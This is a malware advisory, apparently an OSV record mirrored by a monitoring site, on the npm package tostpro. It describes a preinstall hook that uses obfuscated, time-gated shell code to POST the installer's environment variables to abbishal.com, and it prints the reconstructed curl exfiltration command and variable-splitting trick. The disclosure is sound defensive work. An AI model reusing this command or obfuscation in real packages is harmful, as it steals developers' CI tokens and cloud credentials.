Malicious code in tostpro (npm)
Exact source revision recorded 24 Oct 2026 13:17:17 UTC. It does not establish the source's current position. Latest evidence.
osv · MAL-2026-17564
Published--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2b31f6e946441400814984e1285717f9b2ee7fe5dacb7f0433f89396648a6183) The npm package [email protected] ships a preinstall lifecycle hook that invokes test.sh, which runs automatically on `npm install`. The script assembles the command `curl` and the data source `env` from single-letter shell variables (b=e, i=c, s=n, h=u, a=v, l=rl) and splits the destination into `dom=https://abbishal.` plus `tld=com`, reconstructing them at runtime as `$i$h$l -d "`$b$s$a`" $dom$tld/sh/poc`. Execution is gated by `if [ `date +%s` -gt 1791141300 ]` (a Unix timestamp corresponding to roughly 2026-10-04); once that deadline passes, the output of `env` — the installer's full process environment, which routinely contains CI tokens, cloud credentials, and API keys — is POSTed to https://abbishal.com/sh/poc. The README states "No network access. No data collection," directly contradicting the shipped behavior. The string-splitting obfuscation, time-bomb gate, and cover-story README together indicate deliberate evasion. ## Source: ghsa-malware (95a0ca1794b466d8ca8d84b64429987b6683b2b316794f522dc160bf35bce216) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
- Source published
- 5 Oct 2026 03:34:20 UTC
- Source modified
- 20 Oct 2026 22:30:05 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.